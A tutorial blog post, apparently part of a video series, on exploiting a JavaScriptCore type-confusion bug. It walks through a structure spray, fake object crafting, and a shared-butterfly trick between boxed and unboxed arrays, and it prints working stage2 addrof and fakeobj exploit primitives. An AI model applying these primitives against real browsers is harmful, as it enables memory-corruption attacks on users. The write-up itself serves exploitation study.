TLDR
Setting the foundation for an arbitrary read/write (and re-implementing addrof and fakeobj).

Series

Watch on YouTube-

Introduction

Like saelo in his phrack paper Attacking Javascript Engines, we have to think about a  plan of exploitation. We've already built the first stages which were the addrof and fakeobj primitives, so from now on our goal is to obtain an arbitrary memory read/write primitive through fake JavaScript objects and the question we need to ask ourselves is "What kind of object do we want to fake?". In this post we won't be achieving an arbitrary read/write primitive just yet, but we'll create some beautiful messed-up memory that serves as a strong foundation.

The Transition

In Linus's exploit, he was building some WASM buffers and WASM internal memory objects. WASM is short for Web Assembly which is a fancy browser feature, and Linus was using it to craft an arbitrary read and write primitive. The web assembly part doesn't really have much to do with web assembly itself, but the underlying principle.

Let's have a quick peek into the Mozilla Developer Documentation (MDN) to learn what a Web Assembly memory object is.

The WebAssembly.Memory() constructor creates a new Memory object whose buffer property is a resizable ArrayBuffer that holds the raw bytes of memory accessed by a WebAssembly Instance.

Anyway, I really try to wrap my head around what exactly Linus is building here, but it's really mind-bending - here are some of my notes trying to walk through the code.

diagram

This looks crazy, at some point there are these object trying to overlap and even pointing to themselves, and then you have the whole WASM thing, either way, it's crazy and all over the place. I didn't fully get this, maybe I need to revisit it later point, or you can have a look at it. But, to continue, I'll be walking through the exploit using the same bug, but written by Niklas, because it seems clearer.

To start understanding Niklas's exploit, I've removed the proof of concept code that we had about faking objects and start over by just keeping the addrof and fakeobj primitives.

Niklas's exploit

Let's go step by step to understand this exploit. Like in our proof of concept code where we had a loop to spray objects for new structure IDs, we also have a loop here.

var structure_spray = [];
for(var i=0; i<1000; i++) {
    var array = [13.37];
    array.a = 13.37;
    array['p'+i] = 13.37;
    structure_spray.push(array)
}
var victim = structure_spray[510];

We have a structure_spray array which holds all the sprayed array objects. Inside the loop, we iterate a thousand times and create an array which has only one value 13.37, which makes it an ArrayWithDoubles type. We assign a property a and also create another 'p'+i, finally push the array to the structure_spray. Then we pick one from the middle and assign it as victim. Now we can look at the structure_spray and the victim to see how they look like in memory.

If we look at 0x1077b4340, which is the address of the structure_spray, we see some flags and the Structure ID, but more importantly, if we follow the butterfly 0x10001fa070 we see the array contents. To the left of the butterfly, we have the size of the array and non-inlined elements, and to the right of the pointer, we have the actual elements of the array. I've subtracted 16 bytes(0x10001fa070 - 0x10 = 0x10001fa060) from the butterfly to see the contents to the left of the pointer.

All these array elements are just pointers to the array objects we've created in the spray loop.

Visualize and Understand

We need to visualize the relationship of the objects because it will get a little bit crazy.

Above we see that we have the structure_spray, which is an array of array objects. This means it has a butterfly with elements. And we also picked one of these elements and called it victim and victim also has a butterfly. We can confirm this by looking at the memory.

# 0x177b6330 => victim address
(lldb) x/2gx 0x177b6330
0x177b6330: 0x0108210700000325 0x00000010000ca128

Here 0x00000010000ca128 is the butterfly, and to the left of it, we have array properties like a and 'p'+i that we created in the spray loop. We can subtract 0x20 from the 0x00000010000ca128 and see those properties.

(lldb) x/8gx 0x00000010000ca108
0x10000ca108: 0x0000000000000000 0x402bbd70a3d70a3d 
0x10000ca118: 0x402bbd70a3d70a3d 0x0000000100000001
0x10000ca128: 0x402bbd70a3d70a3d 0x0000000000000000
0x10000ca138: 0x0000000000000000 0x402bbd70a3d70a3d 

As you can see, we have the properties and length to the left of the butterfly, and we see the actual element to the right side of it. The object structure_spray and victim currently look like the following in memory.

diagram

Next, we prepare some cell header values. The flags for one will be ArrayWithDoubles and the other one will be ArrayWithContiguous. This just prepares the double value that we will use to craft fake objects of that type.

>>> u32[0] = 0x200; // Structure ID
512
>>> u32[1] = 0x01082007 - 0x10000; // Flags for ArrayWithDoubles
17244167
>>> var flags_arr_double = f64[0];
undefined
>>> u32[1] = 0x01082009 - 0x10000; // Flags for ArrayWithContiguous
17244169
>>> var flags_arr_contiguous = f64[0];
undefined

Now we can use our addrof and fakeobj primitive to craft a fake object.

First, we create an outer object with two properties - cell header and butterfly. The butterfly is pointing to the victim object.

>>> var outer = {
    cell_header: flags_arr_contiguous,
    butterfly: victim,
};
>>> // Get the fake object
>>> f64[0] = addrof(outer)
2.1840509894e-314
>>> u32[0] += 0x10
125601136
>>> var hax = fakeobj(f64[0]);
undefined

The two properties cell_header and butterfly are inlined, so if we add 16 bytes  (+0x10) to the address of the outer, we get the fake object hax. Here's how it looks like.

Pay very close attention to the weirdness of the faked hax object! As you can see, we have our hax fake object, and it has the butterfly pointing to the address of the victim object, where the metadata of the victim exist. hax is ArrayWithContiguous, but the victim is ArrayWithDoubles. victim has a normal butterfly which points directly to the place where elements are stored, but the hax is strange, it's butterfly is pointing to the victim object. This means if we do something like hax[0], we'll get the victim's cell header and hax[1] will give us the victim's butterfly.

Now to the exciting part, we start by creating two new arrays, call one unboxed and the other boxed.

// ArrayWithDoubles
>>> var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]
undefined
>>> unboxed[0] = 4.2 // convert `CopyOnWriteArrayWithDoubles` to `ArrayWithDoubles`
>>> var boxed = [{}];
undefined

unboxed is of type ArrayWithDoubles which means it deals with raw doubles. boxed is ArrayWithContiguous, deals with JSValues which can be pointers, doubles or integers. Both arrays have a cell header and a butterfly of their own. This is still normal.

diagram

But let's do something freaky!

>>> hax[1] = unboxed // (1)
[object Object]
>>> var tmp_butterfly = victim[1]; // (2)
undefined
>>> hax[1] = boxed // (3)
[object Object]
>>> victim[1] =  tmp_butterfly; // (4)
3.39524192943e-313
  1. hax[1] has the butterfly pointing to the victim object, now we assign unboxed to it. Basically, we overwrote the victim's butterfly to unboxed, which means victim points to the metadata of unboxed object.
  2. We get the butterfly of the unboxed by accessing the second element victim[1] and store this pointer in a variable called tmp_butterfly.
  3. Now we do something even crazier; we set hax[1] to boxed. So victim[1] is accessing the butterfly pointer of boxed object.
  4. And now we overwrite the boxed butterfly pointer to the tmp_butterfly, which means now both boxed and unboxed are pointing to the same butterfly.

Here's the entire flow of how this looks like.

Now, why is this strange setup necessary? Well if you think about it, we have two different types of array objects point to the same location, unboxed deals with just raw binary double values but boxed deals with JSValues. boxed can hold integers, doubles or objects in the form of pointers. So this is similar to what we achieved in the original bug with addrof and fakeobj primitives. Since these two original primitives required the JIT type-confusion to work, it's not good to rely on them over and over again, we can maybe make them a bit cleaner to work with. And so we have boxed and unboxed now. Both have the same butterfly but think it contains different types. So now we can construct the same addrof and fakeobj in a cleaner way.

For example we can assign a double to the unboxed value (expecting raw doubles). And if it looks like a pointer, accessing this value from boxed, would interpret it as an object. And of course vice versa.

/* fakeobj */
>>> unboxed[0] = 1.23e-45
>>> var obj = boxed[0]; // `obj` is the object @ `1.23e-45`

/* addrof */
>>> boxed[0] = some_object
>>> unboxed[0] // gives us the address of `some_object`

So we can reimplement addrof and fakeobj like so:

/* `addrof` */
stage2_addrof = function(obj) {
    boxed[0] = obj;
    return unboxed[0];
}
// overwrite the old `addrof` with the new `stage2_addrof`
addrof = stage2_addrof;

/* fakeobj */
stage2_fakeobj = function(addr) {
    unboxed[0] = addr;
    return boxed[0];
}
// overwrite the old `fakeobj` with the new `stage2_fakeobj`
fakeobj = stage2_fakeobj;

It looks a bit cleaner,  except if you look at how messed up the memory looks like. But I think it depends on whom you ask, for me it's beautiful and mind-blowing!

Resources